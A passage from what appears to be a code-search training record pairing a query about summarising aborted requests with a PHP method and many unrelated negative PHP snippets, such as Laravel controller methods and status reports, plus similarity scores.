?><br />\n <strong>Redis Client:</strong> <?php echo $this->redis_client; ?><br />\n <strong>Cache Hits:</strong> <?php echo $this->cache_hits; ?><br />\n <strong>Cache Misses:</strong> <?php echo $this->cache_misses; ?>\n </p>\n\n <ul>\n <?php foreach ($this->cache as $group => $cache) : ?>\n <li><?php printf('%s - %sk', strip_tags($group), number_format(strlen(serialize($cache)) / 1024, 2)); ?></li>\n <?php endforeach; ?>\n </ul><?php\n }", "public function index()\n {\n \n \n //Get the client object ;\n $clients = DB::table('clients')\n ->join('client_infos','clients.id','=','client_infos.client_id')\n ->join('client_addresses','clients.id','=','client_addresses.client_id')\n ->select('clients.*','client_infos.*','client_addresses.*')\n ->simplePaginate(15);\n \n \n //dd($clients[0]->id); \n \n \n return view('client.index',compact('clients'));\n \n }", "public function index()\n {\n $display_status_id = config('contants.display_status_display');\n\n $branch = $this->branch_services->count();\n $user = $this->user_services->count();\n $service = $this->service_services->count();\n $orders = $this->order_services->count();\n $feedbacks = $this->feedback_services->allWithDisplayStatus($display_status_id);\n $slides = $this->slide_services->allDisplay('asc');\n $technicians = $this->user_services->getTechnicianWithStatus($display_status_id);\n $index_active = true;\n\n return view('client.index', compact(\n 'branch',\n 'user',\n 'service',\n 'orders',\n 'feedbacks',\n 'slides',\n 'technicians',\n 'index_active'\n )\n );\n }", "public function index()\n {\n return view('clients.index');\n }", "abstract protected function getSubClientNames();", "public function index()\n {\n //\n $clients=Client::all();\n\n return view('admin.GP.clients.index',compact('clients'));\n }", "public function index()\n {\n $showClientsRequest = RequestCallback::orderBy('status','ASC')->paginate(20);\n \n return view('admin.request_client.index',compact('showClientsRequest'));\n }", "function get_connect_info()\n {\n $this->server = $this->service->server($this->lastsvr);\n printf(\"Build completion percentage: \");\n while ($this->server->accessIPv4 == '' || $this->server->accessIPv6 == '') {\n printf(\".%d.\", $this->server->progress);\n sleep(10);\n $this->server = $this->service->server($this->lastsvr);\n }\n printf(\"\\n\");\n printf(\"Connect info for server %s:\\n\", $this->server->id);\n printf(\"IP: %s (IPv4) or %s (IPv6)\\n\", $this->server->accessIPv4, $this->server->accessIPv6);\n printf(\"Admin password: %s\\n\", $this->serverpw[$this->lastsvr]);\n }", "public function index()\n \t{\n \t\t$clients=Client::orderBy('listing_order','desc')\n ->orderBy('updated_at','desc')->get();\n \t\treturn view('admin.client.manage',compact('clients'));\n \t}", "public function hostnamesSummary()\n {\n $hostnames = $this->hostnames->pluck('hostname');\n\n return implode(', ', array_splice($hostnames, 0, 5));\n }" ]
[ "0.6483087", "0.63488656", "0.62941134", "0.62731576", "0.6247569", "0.6229187", "0.62164766", "0.61918414", "0.6045793", "0.5990428", "0.5954051", "0.5940975", "0.59273565", "0.59249496", "0.5913745", "0.5910921", "0.5909654", "0.5908593", "0.5892994", "0.587324", "0.5868813", "0.5855052", "0.5826546", "0.5799421", "0.57938653", "0.57837355", "0.57651824", "0.5726249", "0.57066345", "0.5700082", "0.56988275", "0.5690322", "0.56870997", "0.5681515", "0.56570345", "0.56560296", "0.56468856", "0.56407094", "0.5625813", "0.5622864", "0.5621371", "0.56209475", "0.56179863", "0.56160223", "0.56087047", "0.5607343", "0.5603484", "0.5598115", "0.5597469", "0.55890477", "0.55854976", "0.55842334", "0.5578587", "0.5567568", "0.5563892", "0.5548748", "0.5534665", "0.5533629", "0.55304533", "0.5510789", "0.54808956", "0.54765004", "0.54714036", "0.54619426", "0.54539686", "0.5448415", "0.54457444", "0.5444352", "0.5443671", "0.5441643", "0.5438082", "0.5437396", "0.54348624", "0.5429277", "0.5420864", "0.5419241", "0.54163545", "0.54163545", "0.5416067", "0.53961354", "0.5395064", "0.53910905", "0.5387699", "0.5383472", "0.53744835", "0.53734314", "0.5372682", "0.537102", "0.53573537", "0.5356877", "0.53543216", "0.5341377", "0.533635", "0.5334922", "0.5326766", "0.5326719", "0.5324868", "0.53234977", "0.5323165", "0.5320516" ]
0.7423469
0
Creates a brief summary list of any aborted requests.
public static function getAbortedSummary() { $summary = ''; foreach (MHTTPD::$aborted as $num=>$ab) { $summary .= "({$num}) C: {$ab['client']}, F: {$ab['fcgi_client']}, " . "P: {$ab['process']} ({$ab['pid']}), T: {$ab['time']}\n"; } $summary = $summary != '' ? $summary : 'None'; return $summary; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function invalidRequests()\n {\n return [\n [\n HttpRequestMethod::GET,\n 'https://postman-echo.com/status/404',\n '',\n [],\n HttpClientErrorException::class\n ],\n [\n HttpRequestMethod::GET,\n 'https://postman-echo.com/status/500',\n '',\n [],\n HttpServerErrorException::class\n ],\n ];\n }", "private function handleDiagnosticsRequest()\n {\n $statusApiConfigurator = new Webinterpret_Connector_StatusApi_StatusApiConfigurator(Mage::app(), Mage::getConfig());\n\n $statusApi = $statusApiConfigurator->getExtendedStatusApi();\n\n $json = $statusApi->getJsonTestResults();\n header('Content-Type: application/json');\n header('Content-Length: '.strlen($json));\n echo $json;\n }", "public function viewFailedTransactions()\n {\n return $this->getFailedTransactions(self::GATEWAY);\n }", "function printNewRequests() {\r\n $criteria = array('status' => Appeal::$STATUS_NEW);\r\n return printAppealList($criteria);\r\n}", "public function table(Request $request)\n\t{\n\t\t$failedJobs = FailedJob::latest('failed_at');\n\n\t\treturn paginateResult(\n\t\t\t$failedJobs,\n\t\t\t$request->get('itemPerPage'),\n\t\t\t$request->get('page')\n\t\t);\n\t}", "public function scopeIncompleteResponses() {\n\t\t$commaSeparatedStatuses = '\\'' . implode('\\', \\'', self::getIncompleteStatuses()) . '\\'';\n\n\t\t$this->getDbCriteria()->mergeWith(array(\n\t\t\t'condition' => 'status IN (' . $commaSeparatedStatuses . ')',\n\t\t));\n\t\treturn $this;\n\t}", "protected function killExceededTasks()\n\t{\n\t\t$exceededTasks = $this->taskRepository->findExceededTasks();\n\t\tforeach ($exceededTasks as $task) {\n\t\t\t$task->lastSuccess = false;\n\t\t\t$this->setTaskIdleAndSave($task);\n\t\t\t// task history ..\n\t\t\t$taskHistory = new TaskHistory();\n\t\t\t$taskHistory->taskId = $task->id;\n\t\t\t$taskHistory->started = new DateTime();\n\t\t\t$taskHistory->finished = new DateTime();\n\t\t\t$taskHistory->output = new Output;\n\t\t\t$taskHistory->output->error(\"Exceeded time to run\");\n\t\t\t$taskHistory->resultCode = -1;\n\t\t\t$this->taskHistoryRepository->save($taskHistory);\n\t\t}\n\t}", "public function removeHistoryStatusFilter()\n {\n $status = $this->helper()->getConfigData('sro_status_delayed');\n $trackList = $this->getRequestCollection();\n \n foreach ($trackList as $key => $track) {\n foreach ($track->getShipment()->getOrder()->getAllStatusHistory() as $history) {\n if ($status == $history->getData('status')) {\n Mage::log(\"{$track->getNumber()}: history found ({$status}) / ignored status\");\n $trackList->removeItemByKey($key);\n break;\n }\n }\n }\n \n $this->setLog(\"{$trackList->count()} never-delayed of {$this->getLog()}\");\n return $this->setRequestCollection($trackList);\n }", "public function index()\n\t{\n\t\t$view_path = $this->view_path('view');\n\n\t\t$current_status = $this->get_current_status();\n\n\t\t# HOSTS DOWN / problems\n\t\t$problem = array();\n\t\t$i = 0;\n\n\t\tif ($current_status->hosts_down_acknowledged) {\n\t\t\t$problem[$i]['type'] = _('Host');\n\t\t\t$problem[$i]['status'] = _('Down');\n\t\t\t$problem[$i]['url'] = 'status/host/all/'.nagstat::HOST_DOWN.'/?hostprops='.nagstat::HOST_STATE_ACKNOWLEDGED;\n\t\t\t$problem[$i]['title'] = $current_status->hosts_down_acknowledged.' '._('Acknowledged hosts');\n\t\t\t$i++;\n\t\t}\n\n\t\tif ($current_status->hosts_unreachable_acknowledged) {\n\t\t\t$problem[$i]['type'] = _('Host');\n\t\t\t$problem[$i]['status'] = _('Unreachable');\n\t\t\t$problem[$i]['url'] = 'status/host/all/'.nagstat::HOST_UNREACHABLE.'/?hostprops='.nagstat::HOST_STATE_ACKNOWLEDGED;\n\t\t\t$problem[$i]['title'] = $current_status->hosts_unreachable_acknowledged.' '._('Acknowledged hosts');\n\t\t\t$i++;\n\t\t}\n\n\t\tif ($current_status->services_critical_acknowledged) {\n\t\t\t$problem[$i]['type'] = _('Service');\n\t\t\t$problem[$i]['status'] = _('Critical');\n\t\t\t$problem[$i]['url'] = 'status/service/all/'.(nagstat::HOST_UP|nagstat::HOST_DOWN|nagstat::HOST_UNREACHABLE|nagstat::HOST_PENDING).\n\t\t\t\t'/'.nagstat::SERVICE_CRITICAL.'/'.nagstat::SERVICE_STATE_ACKNOWLEDGED;\n\t\t\t$problem[$i]['title'] = $current_status->services_critical_acknowledged.' '._('Acknowledged services');\n\t\t\t$i++;\n\t\t}\n\n\t\tif ($current_status->services_warning_acknowledged) {\n\t\t\t$problem[$i]['type'] = _('Service');\n\t\t\t$problem[$i]['status'] = _('Warning');\n\t\t\t$problem[$i]['url'] = 'status/service/all/'.(nagstat::HOST_UP|nagstat::HOST_DOWN|nagstat::HOST_UNREACHABLE|nagstat::HOST_PENDING).\n\t\t\t\t'/'.nagstat::SERVICE_WARNING.'/'.nagstat::SERVICE_STATE_ACKNOWLEDGED;\n\t\t\t$problem[$i]['title'] = $current_status->services_warning_acknowledged.' '._('Acknowledged services');\n\t\t\t$i++;\n\t\t}\n\n\t\tif ($current_status->services_unknown_acknowledged) {\n\t\t\t$problem[$i]['type'] = _('Service');\n\t\t\t$problem[$i]['status'] = _('Unknown');\n\t\t\t$problem[$i]['url'] = 'status/service/all/'.(nagstat::HOST_UP|nagstat::HOST_DOWN|nagstat::HOST_UNREACHABLE|nagstat::HOST_PENDING).\n\t\t\t\t'/'.nagstat::SERVICE_UNKNOWN.'/'.nagstat::SERVICE_STATE_ACKNOWLEDGED;\n\t\t\t$problem[$i]['title'] = $current_status->services_unknown_acknowledged.' '._('Acknowledged services');\n\t\t\t$i++;\n\t\t}\n\n\t\trequire($view_path);\n\t}", "public function summaryAction()\n {\n $reporter = $this->getDI()->get('reporter');\n\n $this->getOutput()->last_15_min_mo_count = $reporter->getLastMoCount(new DateTime('15 minutes ago'));\n $this->getOutput()->time_span_last_10k = $reporter->getTimeSpan(10000);\n return $this->initResponse();\n }", "public function incomplete()\n {\n $this->update(['completion_date' => null]);\n LogController::set(get_class($this).'@'.__FUNCTION__);\n // $this->recordActivity('incompleted_task');\n }", "public function deleteExpiredRequests()\n {\n $helper = Mage::helper('mp_debug');\n if (!$helper->isEnabled()) {\n return 'skipped: module is disabled.';\n }\n\n if ($helper->getPersistLifetime() == 0) {\n return 'skipped: lifetime is set to 0';\n }\n\n $expirationDate = $this->getExpirationDate(date(self::DATE_FORMAT));\n $table = $this->getRequestsTable();\n $deleteSql = \"DELETE FROM {$table} WHERE date <= '{$expirationDate}'\";\n\n /** @var Magento_Db_Adapter_Pdo_Mysql $connection */\n $connection = Mage::getSingleton('core/resource')->getConnection('core_write');\n\n /** @var Varien_Db_Statement_Pdo_Mysql $result */\n $result = $connection->query($deleteSql);\n return \"{$result->rowCount()} requests deleted\";\n }", "private function build_FNCsummary(){\n $reply = array();\n\n ob_start();\n ksort($this->collected_highlights);\n $title = x('strong','Not all the formalities are completed:');\n foreach($this->collected_highlights as $reason=>$info){\n if (!empty($title)) {\n\tprint $title; $title = '';\n\t$t = new b_table(\"class='width100'\");\n }\n $h = array_keys($info);\n $n = array_values($info);\n $a = '&nbsp;';\n if (in_array($h[0],array('highlightRose','highlightYellow')) && \n\t $this->doing =='lists' && \n\t VM::hasRightTo('endorse_event')){\n\t$a = 'Please '.(is_object(VM::$e) && VM::$e->isEventEndorsed()?'UNLOCK the budget and':'').\n\t ($h[0] == 'highlightRose' ? 'resolve the issue' : 'approve or reject the applicants');\n }\t\n $t->tro();\n $t->td($n[0],\"class='$h[0] align_right'\");\n $t->td(($message=$reason.(($n[0]>1 && strpos($reason,')')===False)?'s':'')).\"<br/>$a\",\"class='$h[0]'\");\n if (!isset($FNC_message)) $FNC_message = \"$n[0] $message\";\n $t->trc();\n }\n if (empty($title)) $t->close();\n $summary = ob_get_contents();\n ob_end_clean();\n if (isset($FNC_message)) $reply[$FNC_message] = $summary;\n\n // accommodation\n foreach($this->no_accommodation as $action_message=>$list){\n $list = array_unique($list);\n sort($list);\n $title = ($n=count($list)) . ' approved visitor'.($n>1?'s':'').' without accommodation.';\n if (VM::hasRightTo('book_ah') && VM::$e->getValue('e_end') > time()) $title .= \" The budget can't be approved unless this problem is solved.\";\n if ($n > 1){\n\t$summary = \"$action_message:\" . x('ul',b_fmt::joinMap('li',$list));\n }else{\n\t$summary = \"$action_message $list[0]\";\n }\n $reply[$title] = $summary;\n }\n return $reply;\n }", "protected function _reportSkipped($summary)\n {\n foreach ([\n 'pending' => 'cyan',\n 'excluded' => 'yellow',\n 'skipped' => 'light-grey'\n ] as $type => $color) {\n if (!$logs = $summary->logs($type)) {\n continue;\n }\n $count = count($logs);\n if ($this->_colors) {\n $this->prefix($this->format(' ', \"n;;{$color}\") . ' ');\n }\n $this->write(ucfirst($type) . \" specification\" . ($count > 1 ? 's' : '') . \": {$count}\\n\");\n\n foreach ($logs as $log) {\n $this->write(\"{$log->file()}, line {$log->line()}\\n\", 'dark-grey');\n }\n $this->prefix('');\n $this->write(\"\\n\");\n }\n }", "public function get_errors()\n\t{\n\t\t$profile_start = microtime(true);\n\t\t$this->display->errors();\n\t\t$profile_start = profiler($profile_start,__CLASS__,__FUNCTION__,'openapi');\n\t}", "public function getRequestsWithErrorsCount()\n {\n return $this->requests_with_errors_count;\n }", "public function getRequestsWithErrorsCount()\n {\n return $this->requests_with_errors_count;\n }", "public function getStatusDescriptions()\n {\n $statuses = $this->getSortedStatuses();\n // concatenate the descriptions\n $reasons = [];\n foreach($statuses as $s) {\n $reason = $s->getReason();\n if ($reason) {\n $reasons[] = $reason;\n }\n }\n if (!empty($reasons)) {\n return $reasons;\n }\n return null;\n }", "protected function get_request_counts()\n {\n }", "public function testRetrieveListUnsuccessfulReason()\n {\n }", "public function internalErrorAction(Request $request)\n {\n $required = ['description', 'judgehostlog', 'disabled'];\n foreach ($required as $argument) {\n if (!$request->request->has($argument)) {\n throw new BadRequestHttpException(sprintf(\"Argument '%s' is mandatory\", $argument));\n }\n }\n $description = $request->request->get('description');\n $judgehostlog = $request->request->get('judgehostlog');\n $disabled = $request->request->get('disabled');\n\n // Both cid and judgingid are allowed to be NULL.\n $cid = $request->request->get('cid');\n $judgingId = $request->request->get('judgingid');\n\n // Group together duplicate internal errors\n // Note that it may be good to be able to ignore fields here, e.g. judgingid with compile errors\n $queryBuilder = $this->em->createQueryBuilder()\n ->from(InternalError::class, 'e')\n ->select('e')\n ->andWhere('e.description = :description')\n ->andWhere('e.disabled = :disabled')\n ->andWhere('e.status = :status')\n ->setParameter(':description', $description)\n ->setParameter(':disabled', $disabled)\n ->setParameter(':status', 'open')\n ->setMaxResults(1);\n\n /** @var Contest|null $contest */\n $contest = null;\n if ($cid) {\n $contestIdField = $this->eventLogService->externalIdFieldForEntity(Contest::class) ?? 'cid';\n $contest = $this->em->createQueryBuilder()\n ->from(Contest::class, 'c')\n ->select('c')\n ->andWhere(sprintf('c.%s = :cid', $contestIdField))\n ->setParameter(':cid', $cid)\n ->getQuery()\n ->getSingleResult();\n }\n\n /** @var InternalError $error */\n $error = $queryBuilder->getQuery()->getOneOrNullResult();\n\n if ($error) {\n // FIXME: in some cases it makes sense to extend the known information, e.g. the judgehostlog\n return $error->getErrorid();\n }\n\n $error = new InternalError();\n $error\n ->setJudging($judgingId ? $this->em->getReference(Judging::class, $judgingId) : null)\n ->setContest($contest)\n ->setDescription($description)\n ->setJudgehostlog($judgehostlog)\n ->setTime(Utils::now())\n ->setDisabled(json_decode($disabled, true));\n\n $this->em->persist($error);\n $this->em->flush();\n\n $disabled = $this->dj->jsonDecode($disabled);\n\n $this->dj->setInternalError($disabled, $contest, false);\n\n if (in_array($disabled['kind'], ['problem', 'language', 'judgehost']) && $judgingId) {\n // give back judging if we have to\n $this->giveBackJudging((int)$judgingId);\n }\n\n return $error->getErrorid();\n }", "public function actionIndex()\n {\n $reportBuilder = new SummaryReport;\n\n $reportBuilder->on(SummaryReport::EVENT_BEFORE_BUILD, [\\RS\\Visitor\\Event\\ReportEvent::class, 'deleteVisitsOverhead']);\n\n $report = $reportBuilder->build();\n\n return $report;\n }", "public function diagnostics()\n {\n $diagnostics = array();\n $utilityObj = new Utility;\n $domains = array('', 'Action', 'Credential', 'Group', 'User', 'Tag', 'Webhook');\n $queue = $this->getBatchRequest();\n foreach($domains as $domain)\n $this->db->batch($queue)->domain_metadata(\"{$this->domainPhoto}{$domain}\");\n $responses = $this->db->batch($queue)->send();\n if($responses->areOK())\n {\n $diagnostics[] = $utilityObj->diagnosticLine(true, 'All SimpleDb domains are accessible.');\n }\n else\n {\n foreach($responses as $key => $res)\n {\n if((int)$res->status !== 200)\n $diagnostics[] = $utilityObj->diagnosticLine(false, sprintf('The SimpleDb domains \"%s\" is NOT accessible.', $domains[$key]));\n }\n }\n return $diagnostics;\n }", "public function viewallmaintenancerequestsAction(){\n\t\t$maint = new Maintenance_Model_MaintenanceRequest();\n\t\t$records = $maint->fetchAllRequests();\n\n\t\tif( $records ){\n\t\t $this->view->paginator = $this->paginate($records);\n\t\t}\n\t}", "private function getStatusInfo(array $aggregations): array\n {\n $datasetCount = function ($status) use ($aggregations) {\n if (array_key_exists($status, $aggregations)) {\n return $aggregations[$status];\n } else {\n return 0;\n }\n };\n\n $statusInfo = [\n [\n 'id' => 1,\n 'name' => 'Identified',\n 'count' => $datasetCount(DatasetSubmission::AVAILABILITY_STATUS_NOT_AVAILABLE),\n ],\n [\n 'id' => 2,\n 'name' => 'Submitted',\n 'count' => (\n $datasetCount(DatasetSubmission::AVAILABILITY_STATUS_PENDING_METADATA_SUBMISSION)\n + $datasetCount(DatasetSubmission::AVAILABILITY_STATUS_PENDING_METADATA_APPROVAL)\n ),\n ],\n [\n 'id' => 3,\n 'name' => 'Restricted',\n 'count' => (\n $datasetCount(DatasetSubmission::AVAILABILITY_STATUS_RESTRICTED_REMOTELY_HOSTED)\n + $datasetCount(DatasetSubmission::AVAILABILITY_STATUS_RESTRICTED)\n ),\n ],\n [\n 'id' => 4,\n 'name' => 'Available',\n 'count' => (\n $datasetCount(DatasetSubmission::AVAILABILITY_STATUS_PUBLICLY_AVAILABLE_REMOTELY_HOSTED)\n + $datasetCount(DatasetSubmission::AVAILABILITY_STATUS_PUBLICLY_AVAILABLE)\n ),\n ],\n ];\n\n // Remove any element with a count of 0.\n foreach ($statusInfo as $key => $value) {\n if (0 === $value['count']) {\n unset($statusInfo[$key]);\n }\n }\n\n // Sorting based on highest count\n $array_column = array_column($statusInfo, 'count');\n array_multisort($array_column, SORT_DESC, $statusInfo);\n\n return $statusInfo;\n }", "public function clearFailed()\n {\n $this->getResultsStorage()->clear(ResultsStorageInterface::STATUS_FETCH_FAILED);\n $this->getResultsStorage()->clear(ResultsStorageInterface::STATUS_PARSE_ERROR);\n $this->getLogger()->debug('Cleared \"failed\" and \"not-parsed\" filters');\n }", "function resubmitFailures() {\n\tglobal $gStatusTable, $gErrBase;\n\t$cmd = \"update $gStatusTable set status=0, wptid='', wptRetCode='', medianRun=0 where status >= $gErrBase;\";\n\tdoSimpleCommand($cmd);\n}", "public function getHistories(Request $request)\n {\n //takes trip ended, user cancelled, driver cancelled ride requests\n $rideRequests = $this->rideRequest->where('driver_id', $request->auth_driver->id)\n ->whereIn('ride_status', [Ride::COMPLETED, Ride::TRIP_ENDED, Ride::USER_CANCELED, Ride::DRIVER_CANCELED])\n ->with(['user', 'invoice'])\n ->orderBy('updated_at', 'desc')\n ->paginate(500);\n\n $rideRequests->map(function($rideRequest){\n \n if($rideRequest->invoice) {\n $rideRequest->invoice['map_url'] = $rideRequest->invoice->getStaticMapUrl();\n }\n \n });\n\n return $this->api->json(true, 'RIDE_REQUEST_HISTORIES', 'Ride request histories', [\n 'ride_requests'=> $rideRequests->items(),\n 'paging' => [\n 'total' => $rideRequests->total(),\n 'has_more' => $rideRequests->hasMorePages(),\n 'next_page_url' => $rideRequests->nextPageUrl()?:'',\n 'count' => $rideRequests->count(),\n ]\n ]);\n\n\n }", "private function getFailedList()\n\t{\n\t\treturn $this->failed_list;\n\t}", "public function declineAllPendingThreads()\n {\n return $this->ig->request('direct_v2/threads/decline_all/')\n ->addPost('_csrftoken', $this->ig->client->getToken())\n ->addPost('_uuid', $this->ig->uuid)\n ->setSignedPost(false)\n ->getResponse(new Response\\GenericResponse());\n }", "private function getOldTicketsList() {\r\n\t\t$sql = \"SELECT TOP 5 summary, TicketNbr, status_description AS status, \";\r\n\t\t$sql .= \"company_name, age, resource_list as resources \";\r\n\t\t$sql .= \"FROM v_rpt_Service \";\r\n\t\t$sql .= \"WHERE status_description NOT LIKE '>%' \";\r\n\t\t$sql .= \"AND status_description NOT LIKE 'Completed' \";\r\n\t\t$sql .= \"ORDER BY age desc\";\r\n\t\t$result = sqlsrv_query($this->conn, $sql) or die ('Error in SQL: ' . $sql);\r\n\r\n\t\t$r = null;\r\n\t\t$i = 0;\r\n\t\twhile($row = sqlsrv_fetch_array($result)) {\r\n\t\t\t$r[$i]['summary'] = $row['summary'];\r\n\t\t\t$r[$i]['status'] = $row['status'];\r\n\t\t\t$r[$i]['ticket'] = $row['TicketNbr'];\r\n\t\t\t$r[$i]['client'] = $row['company_name'];\r\n\t\t\t$r[$i]['age'] = $row['age'];\r\n\t\t\t$r[$i]['resources'] = $row['resources'];\r\n\t\t\t$i++;\r\n\t\t}\r\n\r\n\t\treturn($r);\r\n\t}", "public function actionGenerateAllocations()\n {\n $res=ReportQueryManager::updateQuesSummary();\n\n if($res):\n $res1 = AllocationManager::updateCurrentAllocations();\n \n if (\\Yii::$app->request->isAjax):\n if($res1):\n $message = 'Allocations has been successfully inserted.';\n else:\n $message = 'Something went wrong with updates. Please confirm whether the data has not been updated for the year before';\n endif;\n $response = Yii::$app->response;\n // $response->format = \\yii\\web\\Response::FORMAT_JSON; -- only used if text out put is reqd\n $response->data = $message;\n $response->statusCode = 200;\n return $this->renderPartial('alloc-sum-status',['response'=>$response]);\n else:\n throw new BadRequestHttpException;\n endif;\n\n else:\n throw new \\yii\\web\\ServerErrorHttpException('The summary creation was unsuccessful. Hence no allocations generated');\n endif;\n }", "public function __sleep()\n {\n return array('request','response','sources','contents','errors');\n }", "public function attempts()\n\t{\n\t\treturn request()->header('X-AppEngine-TaskExecutionCount');\n\t}", "public function index()\n {\n $page = request()->get('page') == 'all' ? 'all' : \n (request()->get('page') > 1 ? request()->get('page') - 1 : 0);\n \n $status = request()->get('status') ? request()->get('status') : 'pending';\n\n try {\n $reqs = Req::where('status', $status)\n ->orderBy('id', 'desc')\n ->when($page !== 'all', function ($query) use ($page) {\n return $query->skip($page * 10)\n ->take(10);\n })\n ->get();\n } catch (Exception $e) {\n return response()->json([\n 'errors' => $e->getMessage()\n ], 400);\n }\n\n return response()->json([\n 'items' => $reqs,\n 'count' => count($reqs)\n ]);\n }", "public function GetNonIndexableItemStatistics($request)\n {\n return $this->makeRequest(__FUNCTION__, $request);\n }", "public function createQcSummaryList(Request $request){\n\n $validator = validator::make($request->all(), [\n\n 'lot_number' => 'required|string|max:255',\n 'production_date' => 'required|date_format:Y-m-d',\n 'total_invoiced_weight' => 'required|numeric|min:1|max:9999',\n 'total_net_weight' => 'required|numeric|min:1|max:9999',\n 'total_temp' => 'required|numeric|min:1|max:9999',\n 'total_soft' => 'required|numeric|min:1|max:9999',\n 'total_tail' => 'required|numeric|min:1|max:9999',\n 'guts_pcs' => 'required|numeric|min:1|max:9999',\n 'guts_weight_grm' => 'required|numeric|min:1|max:9999',\n 'total_pieces' => 'required|numeric|min:1|max:9999',\n 'total_broken_belly' => 'required|numeric|min:1|max:9999',\n 'hd' => 'required',\n 'ld' => 'required',\n 'sbb' => 'required',\n 'bb' => 'required',\n 'os' => 'required',\n 'inspected_by' => 'required|numeric',\n 'verified_by' => 'required|numeric',\n ]);\n if($validator->fails()){\n return response()->json(['error'=>$validator->errors()], 401);\n }\n $createsummary = OnlineQcControlSummary::create($request->all());\n if(!empty($createsummary)){\n return response()->json($request->all(), 200);\n }\n else{\n return response()->json(['error'=>'Lot number not found!'], 401);\n }\n }", "public function getStatusHeaders() {}", "public function testGetListFailure() \n { \n $failingUserId = \"-1\";\n $request = $this->newRequest('/todo/getlist/'.$failingUserId);\n $response = $this->responseFromRun(); \n\n // no headers?\n // [\"reasonPhrase\":\"Zend\\Diactoros\\Response\":private]= string(9) \"Not Found\"\n $this->assertRelayResponse($response, 404, [], \"\");\n }", "public function get_pending_failed()\n {\n $obj = new View();\n $queryobj = new Jamf_model();\n $sql = \"SELECT COUNT(CASE WHEN `comands_completed` = '1' THEN 1 END) AS Completed,\n COUNT(CASE WHEN `comands_pending` = '1' THEN 1 END) AS Pending,\n COUNT(CASE WHEN `comands_failed` = '1' THEN 1 END) AS Failed\n FROM `jamf`\n LEFT JOIN reportdata USING (serial_number)\n \".get_machine_group_filter();\n $obj->view('json', array('msg' => current($queryobj->query($sql))));\n }", "public function testFailedCount()\n {\n $this->mockHandler->append(new Response(503));\n\n $issueCount = $this->issueCounter->getCounts(\n [],\n [\n 'test' => [],\n ]\n );\n\n $this->assertNull($issueCount['test']);\n }", "public function listRequests()\r\n {\r\n return $this->BunqClient->getHttpService()->get(\r\n $this->getResourceEndpoint()\r\n );\r\n }", "public function showOutstandingTransferList() {\n $aAccounts = $this->maccount->getAll();\n $aClients = $this->mclient->getAll();\n $aTransfers = $this->moperation->getOutstandingTransfers();\n $this->s->assign('iClient', 0);\n $this->s->assign('iAccount', 0);\n $this->s->assign('fromDate', null);\n $this->s->assign('toDate', null);\n $this->s->assign('aTransfers', $aTransfers);\n $this->s->assign('aAccounts', $aAccounts);\n $this->s->assign('aClients', $aClients);\n $this->s->assign('iActiveMenu', 1);\n $this->s->displayWithHeader('dsp_transfer_list.php', $this->aJavascriptFiles, $this->aCssFiles );\n }", "public function listLockUnspent();", "public function index()\n {\n dd(Issue::get()->where('state','Unprocessed')->take(20));\n }", "function requestFulfilled(Response $response, $index) {\n\t\techo $index, TAB, $response->getStatusCode(), BR;\n\t\techo $response->getBody()->getContents(), BR;\n\t}", "protected function getBackTrace(){\n\t\treturn array('Inicio', 'Facturaci&oacute;n');\n\t}", "public function testSummary() {\n $this->assertEquals('Unblock a user', $this->action->summary());\n }", "public function appointmentsDataSummary()\n {\n $totalAppointments = Appointment::where('date', 'like', Carbon::now()->format('Y-m-') . \"%\")->get();\n return ResponseHelper::findSuccess('General Data Summary', [\n \"total_appointments\" => $totalAppointments->count(),\n \"confirmations_pending\" => $totalAppointments->where('status', Appointments::NEW)->count(),\n \"payments_pending\" => $totalAppointments->where('status', Appointments::CONFIRMED)->count(),\n \"rejected_appointments\" => $totalAppointments->where('status', Appointments::REJECTED)->count()\n ]);\n }", "public function getErrorResponses();", "public function getStatusHistories();", "public function reportPeriodicClassWiseTopAbsentList()\n {\n $year = DB::table('student')->distinct()->get(array('year'));\n $shift = DB::table('shift')->get();\n $dept = DB::table('department')->where('status',1)->get();\n $semister = DB::table('semister')->where('status',1)->get();\n return view('report.reportPeriodicClassWiseTopAbsentList')\n ->with('year',$year)\n ->with('shift',$shift)\n ->with('dept',$dept)\n ->with('semister',$semister);\n }", "public function summary(Request $request)\n {\n try{\n if($request->ajax()) {\n $rides = UserRequests::where('provider_id', Auth::user()->id)->count();\n $revenue = UserRequestPayment::whereHas('request', function($query) use ($request) {\n $query->where('provider_id', Auth::user()->id);\n })\n ->sum('total');\n $cancel_rides = UserRequests::where('status','CANCELLED')->where('provider_id', Auth::user()->id)->count();\n $scheduled_rides = UserRequests::where('status','SCHEDULED')->where('provider_id', Auth::user()->id)->count();\n\n return response()->json([\n 'rides' => $rides, \n 'revenue' => $revenue,\n 'cancel_rides' => $cancel_rides,\n 'scheduled_rides' => $scheduled_rides,\n ]);\n }\n\n } catch (Exception $e) {\n return response()->json(['error' => trans('api.something_went_wrong')]);\n }\n\n }", "private function calculateOverRequestStatistics() : void {\n foreach ($this->statisticData as $segmentLabel => $timeSegment) {\n $stats = $this->calculateOverRequestStatisticsForTimeSegment($timeSegment);\n $this->statisticData[$segmentLabel]['stats'] = $stats;\n }\n }", "function issueUnprocessedActionLogItems() {\n\t\t$actionLogItems = $this->repository->getUnprocessedActionLogItems();\n\t\tforeach ($actionLogItems as $actionLogItem) {\n\t\t\t$this->issueBadges($actionLogItem);\n\t\t}\n\t\t\n\t}", "public function abort() {\n $this->status = self::STATUS_ABORTED;\n }", "public function status() {\n\t\t$output = array(\n\t\t\tarray('CURRENT', ''),\n\t\t array('Queue', 'Size'),\n\t\t array('----', '---'),\n\t\t);\n\n\t\tforeach($this->queues as $queue) {\n\t\t $output[] = array( $queue, ResqueProxy::size( $queue ) );\n\t\t}\n\n\t\t$output[] = array( 'failed', ResqueProxy::redis()->llen('failed') );\n\n\n\t\t$output[] = array('----', '---');\n\t\t$output[] = array('TOTALS', '');\n\t\t$output[] = array( 'processed', ResqueProxy::redis()->get('resque:stat:processed') );\n\t\t$output[] = array( 'failed', ResqueProxy::redis()->get('resque:stat:failed') );\n\n\t\t$this->columns($output);\n\t}", "protected function prepareCount()\n {\n include $this->env;\n $this->options['Action'] = 'GetReportRequestCount';\n if (isset($THROTTLE_LIMIT_REPORTREQUESTLIST)) {\n $this->throttleLimit = $THROTTLE_LIMIT_REPORTREQUESTLIST;\n }\n if (isset($THROTTLE_TIME_REPORTREQUESTLIST)) {\n $this->throttleTime = $THROTTLE_TIME_REPORTREQUESTLIST;\n }\n $this->throttleGroup = 'GetReportRequestCount';\n unset($this->options['NextToken']);\n 